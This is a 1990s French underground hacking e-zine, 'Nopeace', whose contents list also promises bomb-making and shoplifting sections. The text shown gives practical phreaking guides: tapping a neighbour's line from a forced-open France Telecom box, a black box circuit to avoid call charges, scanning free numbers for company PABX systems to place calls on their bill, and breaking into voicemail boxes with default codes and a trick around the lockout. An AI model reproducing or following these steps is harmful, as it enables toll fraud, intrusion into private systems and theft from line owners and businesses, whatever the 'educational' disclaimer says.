Nopeace
Nopeace v1.1 écrite par Clad Strife

 
  1. Phreaking: Beige Boxing
  2. Phreaking: Black Boxing
  3. Phreaking: le Blue Boxing
  4. Phreaking: Carding
  5. Phreaking: PABX/VMB
  6. Phreaking: les bornes France Telecom
  7. Phreaking: Avoir de l'électricité gratos
  8. Anarchie: Faire des bombes
  9. Anarchie: Voler dans les grandes surfaces
  10. Anarchie: Foutre le bordel au niveau de l'électricité
  11. Anarchie: Phoner gratos, voyager gratos
  12. Programmation: Comment créer de dangereux fichiers MS-DOS, les fichiers.bat
  13. Programmation: Quelques codes sources en Basic
  14. Hacking: les failles WinGate
  15. Conclusion et références
Avertissement!!! Je ne peux être tenu responsable de ce que vous ferez de mes infos! En effet, elles ne sont mises à votre disposition qu'à titre PUREMENT éducatif! Vous ne pouvez en aucun cas m'incriminer de vos actes, moi ou mon provider, de quelque façon que ce soit!!! Si vous tuez votre grand-mère avec une bombe ce sera pas ma faute... de la même façon que je ne mets ces infos ici que dans le but de prévenir les éventuels dangers qui pourraient subvenir au cas ou quelqu'un s'en serviraient! On explique à la télévision comment se procurer des armes, ce n'est pas pour autant que vous vous vous en procurez! Sur ce, bonne lecture!

Le Beige Boxing

   Le Beige Boxing, consiste à pirater une ligne téléphonique en se branchant sur une ligne téléphonique qui ne nous appartient pas pour éviter de payer! Explications sur l'affaire pour ceux qui y pigent que dalle: Vous avez un téléphone, et une prise qui relie ce téléphone au mur de votre pièce. Regardez cette prise: elle est composée de 3 lamelles grises, c'est par là que va passer le courant et le signal. D'accord? Donc en démontant cette prise là, vous verrez apparaitre 2 fils, ces 2 fils là nous intéresse...
Matériel à avoir:
2 pinces crocodiles
de l'étain
de quoi faire une soudure
un tournevis
un téléphone standard...
et un cutter.
Bon, il s'agit de trouver maintenant les fils qui partent d'une maison ou d'un immeuble, FAITES ATTENTION QUE CE NE SOIENT PAS DES FILS ELECTRIQUES. Pour repérer si tel est le cas regardez si les fils sont raccordés à des pylones en bois, ou partent dans le sol... Evitez de toucher aux fils souterrains, et cherchez plutôt une borne FT qui serait sur un pylone, sur le mur d'une maison, immeuble, etc.... Alors donc cherchez ces boitiers marqués FT ou tout simplement un fil noir assez gros descendant des pilones en bois, et défoncez les (les boitiers pas les pilones), juste pour les ouvrir. Faites ça de préférence le jour, vers les 6 ou 7 heures du mat en faisant un minimum de bruit. Bon assurez vous que personne ne vous a, ou n'a pu vous repérer et dénudez le fil noir à l'aide de vottre cutter. Ce fil noir fait 0,5cm de diamètre ou un peu plus, une fois dénudé vous rentrez chez vous pour souder vos pinces crocodiles aux files de la prise du téléphone, n'oubliez pas de replacer en partie le boitier pour que ça soit pas trop visible que vous avez défoncé la boite FT... Okay c'est fait? Bon Il n'y a plus qu'à attendre que la nuit se lève. Il devrait être entre 23h00 et 1h00 du mat quand vous irez retrouvez votre fil noir dénudé... En ayant pris soin de faire un minimum de bruit vous allez brancher vos pinces crocodiles sur les fils dépassant de la partie dénudée... Bon vous avez bien entendu une lampe de poche avec vous. Okay, vous n'avez plus qu'à faire différents branchements dans le cas où il n'y aurait pas de tonalité! Assurez vous de la qualité de vos branchements pour pas que tout décroche au dernier moment! de là appellez qui vous voulez: pas un pote qui vous reconnaitrait, plutôt les réseaux ou une pizzeria encore ouverte.
Evitez de revenir sur le lieu du litige trop souvent: le mec dont vous avez détourné la ligne telephone finirait par s'en rendre compte.

Le Black Boxing


   Certains considèrent le Black Boxing comme un mythe de banlieue, en fait ça a marché à une époque en France, mainteant FT surveille à peu près tout. Mais le Black Boxing marche dans une partie des Etats-Unis très certainement. Nous allons expliquer comment faire du Black Boxing.
Matériel à avoir:
1 LED
1 résistance 1,8 Kohm O,5whatt
1 téléphone, avec le fil et la prise téléphone
1 interrupteur On/Off
Donc voici ce que vous avez: Vous avez la prise reliée au mur et entre la prise et le téléphone, vous aurez pris soin d'installer sur le fil votre Box. Pour la faire il faut avoir installé la led et l'interrupteur à la suite mais en dérivation sur un des fil téléphonique de la ligne
Une fois ce montage fait, lorsque vous avez branché votre montage et que quelqu'un vous appelle enclenchez l'interrupteur sur On, et le mec à l'autre bout ne payera pas.
Alors attention vous encourez des risques: FT connait ce genre de magouilles alors si vous essayez et que vous vous faites choper...

Le Blue Boxing


   Le Blue Boxing a été le premier système de Boxing créé dans les années 1960 par des étudiants du MIT. Développé par le capitain crunch le Blue Boxing consiste à appeler un N° vert et leur faire croire que la ligne est libre en émettant un son. A partir de là on peut appeler n'importe où gratuitement. Bien entendu chaque pays disposent de Boxies différentes car les systèmes y sont différents. En tout cas en france ce système ne marche plus depuis 1992, mais en france seulement. Attquez vous donc aux systèmes étrangers. Pour faire du BB on utilise des programmes: BlueBeep, Scavenger, TLO, Bluedial, etc...

Le Carding


   Cette méthode consiste à recharger sa carte magnétique qui est hors service par manque d'unités, à l'aide d'une autre carte magnétique pleine. Cette méthode ne marche pas pour les cartes à puces, car la puce s'auto-détériore en cas d'essais de carding. Mais quelqu'un a réussi à le faire! Pas croyable. Explications:
Ce gars là il a 35 ans, il s'appelle Serge, et il a réussi à cracker les cardes de crédits. Il n'a pas enlevé la protection comme le font les crackers, il l'a détourné. Avec beaucoup d'intelligence et du matos, il a fait des cartes reconnues comme vraies, et donc utilisables partout quelque soit le code tapé!! Bref toujours est-il que maintenant on a réutilisé le mot carding pour décrire la création de fausses cartes de paiement sur le Net.

PABX/VMB


   Des réseaux téléphoniques internes utilisés par certaines entreprises dans lesquels une intrusion est facilement possible. Le PABX, c'est en général une centrale d'aiguillage informatisée qui permet à une énorme quantités de lignes d'êtres gérées informatiquement. On peut s'y adresser de plusieurs façons: par l'intérieur (via un PC, VAX, Terminal) ou par l'extérieur: telephone, modem. Une VMB est une boite vocale, c'est une sorte de répondeur qui vous permet de recevoir des messages et d'en envoyer à d'autres correspondants. Mais pour cela, il faut que les correspondants soient sur le même serveur (la plupart des grosses entreprises en possèdent une). Une PABX a souvent la possibilité de se commuter sur le réseau externe de l'entreprise. C'est ce qu'on appelle un outdial (parfois détournable).
Article tiré de Noroute1#:
1: C'est quoi un PABX ?

  Un PABX (Private Automatic Branch Exchanger) est en fait un central telephonique qui gere les appels entrants est sortants. Il gere le reseau interne aussi bien que le reseau externe. Pour vous donner un exemple: Mr Lamer travail chez Grolame & Co. Monsieur Lamer veut telephoner... Pour cela, il decroche son telephone, il appuie sur `0' puis il compose son numero. Voila en gros a quoi un PABX peut servir.

  Bon on y va alors. A quoi ca peut bien vous servir de savoir que Mr Lamer lamer peut phoner depuis son poste en faisant le 0' ??? D'abord vous devez comprendre a quoi ca ressemble un PABX.

  o Chaque employe a un poste bien a lui, OK ?
  o Chaque employe a une ligne directe (surement), OK ?
    (surement car le PABX ne servirait a rien sinon, eh!).
  o Tous les employes sont relie au PABX.

  Bon voyons de plus pres comment ca marche maintenant: vous appelez le PABX. Ensuite, une fois dans le PABX, vous pouvez etre redirige entre les differents postes ou services (les 4 derniers chiffres du numeront correspondent au numero du poste, par exemple 12 12 + numero de poste, comme 0003). 12 12 00 03 c'est bon, vous avez compris, et je vous vois dire que c'est facile une fois qu'on connait les 4 premiers chiffres. C'est les memes que ceux de l'entreprise. Ex: voici le numero de l'entreprise Grolame & Co, 12 12 00 05. Vous savez maintenant qu'il faut mettre 12 12 + <numero de poste> pour avoir le numero de la ligne directe de l'employe (attention, les PABX en numeros verts ne fonctionnent pas pareil, vous n'avez pas de ligne direct dans ce cas la).

  Bon, voici la theorie...
  Pour detourner les PABX a son avantage, vous avez plusieurs choix:

  o Soit vous vous connectez par la ligne directe de l'employe, et une fois
    le contact telephonique etabli, vous vous trouvez exactement a la place
    de l'employe et donc vous pouvez ici tester les differentes methodes
    (exposees plus loin) pour essayer de faire un outdial.
  o Sinon, vous vous connectez directement au PABX en composant le numero du
    poste ou vous voulez aller. Ex: lorsque vous etes sur la "tone" interieure
    du PABX (ou le service qui vous met en contact avec un poste
    automatiquement), vous composez le numero du poste ou le PABX va vous
    router. Pour etre plus clair, lors du "Booooooooooooooo", faites le
    numero de poste ou vous voulez aller, comme 00 03 par exemple, et une
    fois le numero compose, vous vous retrouvez a la meme position que l'
    employe au poste xx xx et donc comme lui vous pouvez appeler l'exterieur !

  Vous avez surement remarque le "poste fictif". Certains PABX utilisent unposte dit fictif pour appeler l'exterieur.

  Voila pour la theorie...

2: Ca se deroule comme ca !

   1. Trouver un PABX.
   2. Comprendre de quelle famille est le PABX.
   3. Trouver la facon de faire un Outdial.
   4. Abuser du PABX.
   5. Les conneries que l'on dit sur les PABX.
   6. Disc-lamer :)).

2.1: Partons a la quete du PABX
   Pour ceux qui aurait lu mon article sur les VMB, ils reconnaitront des extraits de cet article. Oui, c'etait parfait, et je vois pas pourquoi je l'ecrirai de nouveau :)

2.1.1 Trouver un numero (scanner les PABX a partir de 9h) Pour trouver un numero vert qui est susceptible d'avoir un PABX sans scanner pendant des jours, il faut faire les numero avec methode:

  o Faites des numeros du genres 0800 XAB XAB.
    ex: 0800 140 140 ou 0800 120 120
  o Il y'a les numero du genre 0800 AB XC XC.
    ex: 0800 50 20 20
    (vous incrementerez les numero XC de +1, ex: 0800 50 20 20, 0800 50 21 21)
  o Puis vous avez les numero du genre 0800 41 42 43 ou 0800 43 42 41
    (qui s'incremente ou se decremente)
  o Puis ceux du genre 0800 XA XC XB.
    ex: 0800 30 31 35 ou 0800 40 47 45 etc...

  Bref, tous les numeros qui sont faciles a memoriser ! OK ?

  --> Pour ceux qui n'ont pas le courage de faire ca a la main, et bien vous feriez mieux de faire autre chose ;) Fermons la la parenthese :)

  Bon ca *sonne* ! Mais maintenant, je fais quoi ?
  Tu te tais et tu ecoutes.

  o Si c'est une femme, c'est pas bon.
  o Si c'est un repondeur, OK, ca peut etre un PABX.
  o C'est une messagerie vocale. Bon, on va voir, il y a peut-etre un PABX.
  o Ca vous demande un code confidentiel ? C'est un PABX ! :)
  o Ca dit rien... Strange ! Mais on garde, ca peut etre un PABX.

  Bon, ensuite, vous trouverez par vous-meme si c'est des PABX ou pas.

  Ok, maintenant qu'on a un numero susceptible d'etre un PABX on fait quoi ? (tu passes a l'etape suivante)

2.2 La famille du PABX

  Maintenant que tu as un numero, essaye la touche `0'. Si ca fait "booooooo", c'est bon, c'est un PABX. Si ca marche pas avec la touche `0', essaye avec `#', `*', `9' ou `1'. Quand tu tombes sur la tone "booooooo", c'est bon. Si rien marche, essaye la sequence de touches `0*'. Si ca marche, c'est que c'estun PABX Meridian. Si ca demande un code confidentiel, tapes rien et lis ce qui va suivre !

2.3 Faire un Outdial

  Exemple de PABX qui fait "booooooooo": 0800 397 397. Bon, il faut maintenant se connecter sur un poste (vous savez tous bien sur comment trouver un numero de poste !). Maintenant que tu as le "booooooo" qui te tape sur le systeme, compose le numero de poste ou tu veux aller, et tu tomberas sur le greeting de l'employe, qui t'invite a laisser un message. Mais toi, tu vas pas laisser un message, tu fais donc le `0'.

  1. Tu vas retomber sur le "Booooooooooo" (c'est la tone interieure du PABX). Bon maintenant, essaye de faire le `0' puis fais le numero que tu veux faire (fais le 14 par exemple comme ca tu verras ou se trouve le PABX). Si ca marche pas, essaie toutes les methodes suivantes:

    o 00 + ton numero
    o 1 + ton numero
    o 11 + ton numero
    o 9 + ton numero
    o 99 + ton numero
    o Si ca marche toujours pas, essaye de 1 a 9.
      ex: # 5 + numero (des fois, il faut doubler l'indicatif. La, dans l'
      exemple, c'est le 5 l'indicatif).
    o Bon, si ca marche toujours pas, essaye de le faire sans le `*' devant.
    o Recommence en 1 mais avec le # avant l'indicatif.
      ex: # + 0 + numero
    o Sinon, autre technique: faites le numero du standard + numero.
    o Ca marche toujours pas ? Essaye de faire un numero de poste puis l'
      indicatif, puis ton numero (numero de poste = numero de VMB, donc ce
      serait pas mal de lire mon autre article sur les VMB, ou tout autre qui
      vous expliquera comment avoir une VMB). Bien sur, vous pouvez essayer
      au pif, et surtout les numeros commencant par 4.
      ex: (4410 + 1 + XX XX XX XX XX), ou 4410 = numero de poste
    o Argh ! Ca marche encore pas ? Essaye de le faire en changeant l'
      indicatif 1 ou 9 ou 0. Double pour voir si ca marche pas (sur certains
      PABX, il faut faire # + numero de poste + indicatif + numero).

  Bon la si rien ne se passe, c'est qu'il faut composer un numero de poste
special.

* Pour faire les outdial.
  (une fois sur la tone "booooo", vous pouvez appeler un poste de la boite en composant son numero). La, une seule facon de le trouver, c'est de faire les numeros un par un, en sachant que quand ca vous raccroche, c'est que le dernier numero que vous avez compose n'est pas bon.

  Ex: '4' c'est bon la, ca a pas raccroche ou sonne au standard. Puis je fais le `9'. La, ca sonne ou ca raccroche, c'est que le 9 n'etait pas le bon chiffre. Donc, rappelez, faites le `4' car vous savez qu'il est valide, recommencez avec un autre chiffre que le `9' car vous savez qu'il est pas bon. Bon, si vous avez scanne tous les numeros et que vous avez rien trouve, c'estpas la peine, ca doit etre un PABX ou on ne peut pas faire d'outdial. :( (attention, certains PABX vous permettent de faire un outdial en composant votre votre indicatif + numero dans une boite vocale. Certains se font meme
carrement lorsque vous laissez un message, donc vous devez laisser un message apres le BiiiiiP. Faites votre indicatif + numero (des fois, faites le '#' devant l'indicatif)

  Cas des PBX Meridian
La, je laisse parler Easy-Hacker de N0WaY (il aime les Meridian). J'ai rajoute des precisions. Un numero de Meridian: 0800 153 153.

 -=)> NT Meridian Mail <(=-
--------------------------------
     0n les reconnait tres aisement a la voix de la nana qui prononce les messages enregistres et aux messages qui, en dehors du message d'accueil, sont toujours les memes. N'etant pas une solution sur PC et etant cense etre pret a l'utilisation en quelques dizaines de minutes, les VMB meridian offrent toutes les memes commandes et l'arborescence differe tres peu de l'une a l'autre.
       L'arbo classique est la suivante: lorsque vous appellez, vous etes confrontes a un repondeur des plus classiques, vous laissez votre message et vous vous cassez. Si vous etes un peu curieux, vous tripotez les touches *,0 et # jusqu'a tomber sur le message jouissif:

    "Vous avez obtenu un service automatise qui vous mettra en relation avec le numero compose. Veuillez entrer le nom ou le numero de la personne desiree suivit de la touche #"

       En France, et pour rester compatible avec ce que nous avons evoques
plus haut (ligne directe=(z)abpq+numero de poste), les numeros de postes (qui sont aussi les numeros des bals sur la VMB) sont sur 4 chiffres. En regle generale, entre 0 et 9 se trouvent des trucs particuliers comme le standard, le fax ou l'acces aux reseaux internes. Le 0 est toujours le standard, ou plus exactement le numero d'aide (car il est possible de le changer comme nous le verrons plus tard). Donc bref quand on a ce message, il suffit de composer le numero du poste puis # et hoplaboum ca dit allo dans l'poste.
       Si vous preferez une version americaine du "allo", trois cas possibles:

###########################################################################
# ATTENTION: vous devez etre poste sur un vrai numero de poste.           #
# Si vous le faites directos, vous ne pourrez pas dans la plupart des cas #
# faire des outdial (lisez mon article sur les VMB pour plus d'infos)     #
###########################################################################

               1) Il suffit de faire un indicatif sur un chiffre pour avoir l'exterieur. Cet indicatif est souvent 0,1 ou 9. Suit alors le numero de telephone puis la touche #. Si vous avez le message "Il est impossible d'obtenir ce numero a partir de ce service" c'est pas le bon indicatif, mais
ca ne signifie pas pour autant que le PBX est grille. Attention, certaines lignes peuvent etre en acces restreint (interdiction du 19 et du 36). Tiens j'en profite pour ajouter une petite precision importante. Il est possible d'appeller quelqu'un a partir de son nom en faisant 11 puis son nom
converti en chiffres (ca se trouve encore sur les telephones ca ?), puis le #. Kwel sauf que si l'indicatif d'outdial est le 1, lorsque vous voulez appeller la province ou l'etranger, ca donne 119 ou 116 et cet abruti de PBX croit que vous voulez appeller quelqu'un par son nom. Les PBX qui choisissent mal leur indicatif sont donc assez limitees, mais ca depanne pour Transpac.

               2) L'acces a l'exterieur n'est possible qu'en appellant une ligne de transit, representee par un numero de poste classique. En clair, il faut alors composer un numero de poste sur 4 chiffres, #, et si on tombe sur une tonalite, on peut enfin tester indicatif d'outdial+numero (plus besoin de
faire #, tout ce que vous composez est envoye en direct sur la ligne de transit). Ces lignes de transit sont souvent utilisees pour la telesurveillance informatique (n'esperez pas en trouver le numero sur le 11).

##############################################################################
################ vous trouverez d'autre methode sur mon article sur les VMB###
##############################################################################

:les pabx avec un acces par code
ex: 0800 00  2002
un autre cas se sont les pabx a code confidentielle souvent je dis souvent
les 2 premiers chiffre sont les meme ex: 44 xx ou 55 xx
 
 

4. ABUSONS DU PBX

  La votre serviteur vous laisse faire :)
  Sachez toutefois qu'il vaut mieux l'utiliser la nuit. Si vous n'avez pas
trouve de PABX, sachez que les PABX en numero vert plus durs a hacker :)
  Enfin, ne phonez pas pendant 12 heures a votre cousine en Islande. Non
seulement, c'est trop gros et sachez que si vous mettez 120 000F de bill a la
boite, ca risque de vous attirer des problemes...

5. LES CONNERIES QUE L'ON A DIT SUR LES PABX

*  Oui, les PABX savent notre numero de telephone !
   Non les PABX n'affichent pas votre numero de telephone sauf si vous avez
un ligne Numeris (on peut demander a avoir l'anonymat)

*  Les PABX, c'est hyper trace !
   Arretons le massacre il y'a pas un tracer sur chaque PABX. Ici, chez FT,
le phreaking ils sont pas trop atteints, c'est pas comme chez Sprint ou MCi

*  Les PABX ca marche pas !
   Ha ha! Il est vrai que les PABX sur numero vert sont durs...

*  Oui, mais moi je veux un PABX maintenant, la, en 38 secondes maxi.
   Fais le 36 15 La Reboute

*  Oui mais moi, je fais du warez et je veux rien savoir.
   Moi je joue a Quake sur 486, je phreak avec mes doigts et je lance mes
casseurs de password sur des gros Cray ! Hacking roue-laisse (ca fait bien
de dire rulez :)
 

*  Stop le delire CoD4, je te crois est je m'en vais retourner au warez.
   Arg!! :)
 

6. DISC-LAMER

T7HS (the 7th hacker's society)
(si ton nom y figure pas, il y'a bien une raison !!!)

Salut a Morgan pour son aide tres precieuse.

Special dedicace (l'autres est zi-va) a:

 o LARSEN HVU vaincra !
 o Tous les membres du T7HS est tous ceux de #HACKFR
 o a LOGINZ, ^mars, scud, pegase, kikoo (qui m'a dit d'aller a la FAC),
   |ouyshla| et a tous les membres de PhE! (#PHe).

Et le MEGA BIG UP pour France Telefarce ;)
Et hop!, un peu de pub pour mon channel: #warez-FFT

Allez voir sur #warez-france pour me trouver, ou sur #hackfr

Vala, c'est tout. Bye !

COD4 phreaking ROUX-LAIZE !!!
 

[SI...]

  Si tu est phreaker pro, contacte-moi, j'ai encore a apprendre.
  Si quelqu'un a des rajouts a faire, ou des critiques, des idees, ce serait
bon qu'il me donne son avis.
  Si votre pere travaille chez F.T ou vous meme et que vous avez des infos
ou des des docs, contactez-moi !
  Si vous installez des PABX, que vous dormez avec le standard et non pas avec
la standardiste, re-contact me !

--> Recherche un pro du cellulaire et un pro de la box. Merci.

*******************
*/~*/~\*|\**|\**/**
*\_*\_/*|/**|*\/***
*******************

H/P ROULE-ASS

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  COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4 COD4
##############################################################################
 

NoTe: j'ai corrige les fautes d'orthographe, la mise en page et tout, et je
peux vous dire qu'y avait du boulot ;). Si vous voulez contacter CoD4, vous
pouvez toujours laisser un mail sur la boite du groupe, je transmettrai:
phe@mygale.org
                                                          -- HoTCoDe, PhE!.
il a raison [CoD4]

        _______  __   __ ______
       |   _   \|  |_|  | _____|     H/P French Group !
       |  |_)   |   _   | ____|      http://www.mygale.org/02/phe
       |    ___/|__| |__|______|     phe@mygale.org
       |___|THe PHiLaMeNT eMPiRe

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NoRoute #1 ¦ Hacking de VMB                   ¦ 4761   ¦ CoD4      ¦ NoRoute #1
-------------------------------------------------------------------------------

                           -=|HACKING DE VMB|=-

                 Methodes reconnues et fiables pouvant
                   etre realisÚes par n'importe quel
                        humain qui a un cerveau.

                             -=|DEFINITION|=-

Une VMB c'est une boite vocale ou on peut vous laisser des messages vous
pouvez les ecouter c komme un repondeur mais si votre boite vocale est
accessible par un numero vert n'importe ki peut vous appeler sans payer est
vous pouvez ecouter vos messages sans payer voila..
 

                           -=[ 1. FUCK TELECOM ]=-

Avant de parler de comment trouver une vmb il faut savoir a koi þa ressemble.
Je classe les vmb en 3 sortes les types '1,2' les types '1,#' puis les meridian.
Bon jusque la ca veut rien dire he bien regardez les types '1,2' veut dire
que une fois o menu de la VMB j'ai le choix entre la touche '1' pour envoyer
un message et '2' pour aller dans ma boite aux lettres (voici un numero de
type '1,2' le 0800 00 10 10).
Pour les types '1,#' c'est le choix entre la touche '1' pour envoyer un
message et '#' pour aller dans la boite aux lettres. (voici un numero de type
'1,#' 0800 43 47 45).
Puis pour les VMB meridian pour les reconnaitre il faut faire '81' quand
l'annonce passe pour aller au menu de la vmb (certaines messageries meridian
disent carrement "bienvenue dans la messagerie meridian") (voici un numero
de vmb meridian le 0800 153 153).
Voila on a presque tous les types de VMB que j'ai rencontre (certaines vmb
sont differentes mais elles se ressemblent presque toutes)
 

                            -=[ 2 LET'S ROCK ]=-

Bon passons aux choses dites serieuses: le hack d'une VMB se compose de
cette maniere:

1: trouver un numero
2: voir si c une voie enregistree qui decroche (c bon) ou si c une gentille
   jeune fille qui nous "allo" (c poa bon)..
3: tester si ce numero a une VMB ou un PBX
4: si oui decouvrir la procedure pour acceder a la vmb
5: decouvrir le type de VMB ('1,2' ou '1,#' ou meridian)
6: HACKER la VMB
7: ABUSER de la VMB ;)

Allez on y va..
 

                       -=[ 2.1 TROUVER UN NUMERO ]=-

Pour trouver un numero vert qui est susceptible d'avoir une VMB sans scanner
pendant des jours pour 3 ou 4 vmb il faut faire les numero avec methode par
exemple faites des numeros du genre 0800 XAB XAB ex: 0800 140 140 ou 0800 120
120 il y'a les numero du genre 0800 AB XC XC ex: 0800 50 20 20 (vous
incrementerez les numero XC de +1 ex: 0800 50 20 20 ,0800 50 21 21) puis vous
avez les numero du genre 0800 41 42 43 ou 0800 43 42 41 (qui s'incremente ou
se decremente) puis ceux du genre 0800 XA XC XB ex: 0800 30 31 35 ou 0800 40
47 45 etc.... bref tous les numero qui sont faciles a memoriser OK (pour
ceux qui on poa le courage de faire þa a la main est bien ils feraient mieux de
faire autre chose ;) )
 

                 -=[ 2.2 TEST DU NUMERO (VMB OR NOT VMB) ]=-

Tous d'abord le test du numero doit se faire la nuit (souvent les PBX qui
SONT souvent associes avec des vmb ne marchent que la nuit ). Bon votre numero
que vous avez fait sonne si þa dit "allo" c poa bon si þa dit "bienvenue
dans messagerie vocale machin " il y'a pas plus clair si þa dit "vous etes
bien chez machin notre service n'est poa ouvert" ou tous autres messages de ce
genre IL PEUT Y AVOIR UNE VMB.
 

             -=[2.3 TESTER SI LE NUMERO EST UNE VMB OU UN PBX ]=-

Bon pour le savoir appuyez sur les touches '#' ou '*' ou '0' ou '9' ou
'81' ou '0* ' si la femme se tait et vous dit "entrez votre numero de boite
vocale" ou tous se ki se rapproche c bon il y'a un VMB vous pouvez parfois
tomber sur une tonalite grave qui FAIT "Boooooooooooooooo" c un pbx
(attention vous tous les pabx ne font poa "Boooooooooooooooo" ) aller autre
etape..
 

           -=[ 2.4 DECOUVRIR LA PROCEDURE POUR ACCEDER A LA VMB ]=-

Bon refaites le numero reappuyez sur la ou les touches qui vous ont permis de
decouvrir que le numero a bien une VMB EX: 0800 43 47 45 ,# une fois que
vous etes arrive a la femme (ou le mec) qui vous dis les options possible
vous pouvez passer a l'etape suivante.
 

                      -=[ 2.5 DECOUVRIR LE TYPE DE VMB ]=-

Ecoutez bien la femme qui vous dit ses options si elle dit "pour envoyer un
messages appuyer sur '1' ..... pour aller dans votre boite vocale tapez
'2'" (VMB DE TYPE '1,2' ) ex : le 0800 00 10 10 bon si elle dit "pour
envoyer un message appuyer sur '1' pour aller dans votre boite vocale
appuyer sur '#'" (VMB DE TYPE '1,#') ex : le 0800 43 47 45 bon pour savoir
si c un meridian c simple si vous avez accede au VMB en faisant 81 c un VMB
meridian ou souvent þa vous le dit du genre "bienvenue dans le messagerie
meridian" ok ex: 0800 153 153
 

                           -=[ 2.6 HACKER LA VMB ]=-

Tout d'abord on va parler de la procedure qui est valable pour les types de
VMB '1,2' et '1,# ' puis on attaquera le cas meridian.
 

GO HACK D'une VMB de type '1,2'
------------------------------
Faites le numero de telephones puis dites a la vmb que vous voulez aller
dans votre boite vocale elle va vous demander votre numero de boite vocale
tapez un chiffre au hasard par exemple le '1' si þa ne dit rien c que le
numero 1 est valide puis tapez un autre chiffre ex: le 3 si þa dis "numero
incorect" c poa le '3' essayer un autre chiffre 4 par ex si þa ne dit rien c
que c bon exemple votre numero de boite vocale est en ce moment 14xx.
x=chiffres a trouver continuer jusqu'a trouver une boite valide si on vous
demande poa votre code confidentielle c bon vous avez une VMB (non ne
partez pas de suite dans ce genre de VMB tres peu ont un numero de code
generalement se sont les phreakers qui en ont :)
 

GO HACK D'UNE VMB DE type '1,#'
-------------------------------
Effectuer la meme procedure que pour les VMB DE TYPE '1,2' pour trouver un
numero de boite vocale et une fois que vous avez decouvert un numero de
boite vocale valide on va vous demander votre numero de code dans 99% des
cas le numero de code est le numero de la boite exemple : 44 55 code 44 55
sinon essayez des numeros du type numero de la boite a l'envers des numeros
de code du genre 1111 ou 1234 bref vous voyez le truc (sinon faites une
cure rapide de malice ou allez voir France-Telecom pour voir si ils ont du
boulot )

#############################[ L'Astuce du siecle! ]###########################
Quand vous essayez de hacker une VMB vous etes generalement VIRES AU BOUT DE
3 MAUVAIS ESSAIS pour eviter de se faire virer ,au bout du 2eme essai
appuyer sur # (ou * sur certaine vmb) pour revenir au menu principal puis
apuyez sur la touche # (pour les VMB de type '1.#' est '2' pour les VMB de
type '1.2') puis recommencez le hack ou vous l'avez laisse.
###############################################################################
 

GO HACK D'UNE VMB MERIDIAN
--------------------------
le BRONX je vous le dis
je laisse EASY HACKER parler pour moi..
(cette article est tire de NOWAY 2)

IV) -=)> La VMB meridian <(=-
------------------------------

    * Acces direct a la VMB (par le numero du standard)

       Les commandes sont soit sur une digit pour selectionner quelque chose dans le menu en cours, soit sur 2 pour acceder directement a une commande quelconque.
       Pendant le message d'accueil, il suffit de taper 81 pour acceder a une
BAL. Au risque de me repeter, les bals sont sur 4 digits. Par defaut, le code
est bien entendu le numero des BALs. Le plus dur au debut est de tomber sur
un numero de BAL existante. Scannez d'abord les bals de la forme x100, puis
augmentez de 5 en 5 (x105 x110 x115 etc...).
Une fois que vous etes logges,
vous arrivez a la lecture du courrier. Les commandes possibles sont:

               2: lecture du message en cours
               4: message precedent
               5: ecrire un message
               6: messave suivant
               9: appelle le poste de l'expediteur

       Les autres commandes possibles sont:

               70: ajout de la mention "URGENT" sur un message
               71: repond au message en cours
               72: consulter l'envellope du message
               73: transfert
               74: ???
               76: efface le message
               77: supprime le message de tous les destinataires
               78: envoi de message dans toutes les bals
               79: envoi un message apres son enregistrement

       Et les commandes se rapportant plus a votre boite qu'aux messages:

               80: parametrage VMB
               81: reconnexion
               82: repondeurs (interne et externe)
               83: deconnexion
               84: change le mot de passe
               85: listes de diffusion
               86: acces direct a un message (faire numero du msg + #)
               87: annuaire des bals
               88: maintenance des bals
               89: changement du nom du proprio

       Certaines commandes etant particulierement interessantes, je vais en
detailler quelques unes:

               80: permet d'acceder a un menu tres interessant concernant le
parametrage global de la VMB. Les differents choix proposes sont:

    1: change le numero de l'operateur (lorsqu'on demande de l'aide en tapant
0 ou qu'on se fait jeter apres 3 essais de hack d'une bal). Les digits
filtrees sont les memes que lorsqu'on est directos sur le PBX, par consequent
les indicatifs qui ne marchaient pas n'ont pas plus de chances de marcher en
passant par la. Par contre lorsque la fonction d'appel automatique d'un poste
est absente, celle-ci vient a la rescousse. Le numero doit la aussi etre
suivi de # et precede de l'indicatif d'outdial. REMETTEZ IMPERATIVEMENT LE
NUMER0 DE P0STE PRECEDENT (ca le dit lorsque vous essayez de le modifier)
sinan le lendemain matin c'est D0WN !!! :*(

    2: modification du message d'accueil (5 pour enregistrer, # pour finir)

    3: modification de l'arborescence. J'avoue ne pas avoir capte grand chose
a cette fonction (qui m'a pourtant l'air tres interessante), car elle fait
references a plein de nombres dont la signification est difficile a trouver
sans la doc. Mais j'ai beau avoir pratiquement tout explore, je n'ai pas
trouve quoi que ce soit permettant de modifier les indicatifs filtres :-(

               81: cette fonction est un bonheur pour pouvoir scanner des
codes sans se faire deco. 0n est en effet deco au bout de 3 essais, mais le
compteur est remis a zero lorsqu'on se logge. Par consequent, il suffit de
faire deux essais, de se logger sous une bal dont on connait le code, de
refaire 81 et hop... le compteur est remis a zero et on peut refaire 2 essais
avant de se relogger etc... 0n peut ainsi scanner autant de BAL que desire
sans jamais se faire deconnecter. ;-)

               83: a quoi sert cette fonction ?

               85: les listes de diffusions sont tres pratiques pour pouvoir
scanner les numeros de bals utilises. Il suffit en effet d'entrer le numero
de la liste a creer suivi de #, de faire 5 et hop, la VMB attend les numeros
de BALs et vous dit au fur et a mesure si c'est attribue ou non. Attention
toutefois: les frequences DTMF ne sont pas pris en compte lorsque le message
dit "Il n'y a pas de boite au numero". La signalisation ne reprend qu'apres
cette phrase, avant de prononcer le numero de la BAL en question. Donc ne
vous precipitez pas sinon ca va systematiquement vous dire que la BAL entree
n'existe pas a cause d'une erreur de frappe...
       Le plus simple pour hacker des BALs est donc de scanner toutes les
BALs existantes grace a cette fonction, de tout noter au fur et a mesure,
puis de tester celles dont le passe est egal au poste grace a la commande 81.

               87: cette fonction est parfois accessible de tous, mais
generalement reservee a quelques BALs de niveau de securite superieur. C'est
assez lourd car ca vous donne pour chaque numero le nom du proprietaire, la
date de la derniere visite, le nombre de messages envoyes, recus, archives et
d'autres conneries, mais c'est quand meme une aubaine lorsque cette option est
disponible !

               88: cette fonction n'est accessible que par la BAL du service
informatique (souvent situe dans les 9000 et ne correspondant pas forcement a
un poste en service). Les choix proposes sont les suivants:

    1: Informations sur une boite: derniere visite, nom du proprio, etc...

    2: Suppression d'une boite: attention: le numero doit etre valide par deux
appuis successifs sur la touche #.

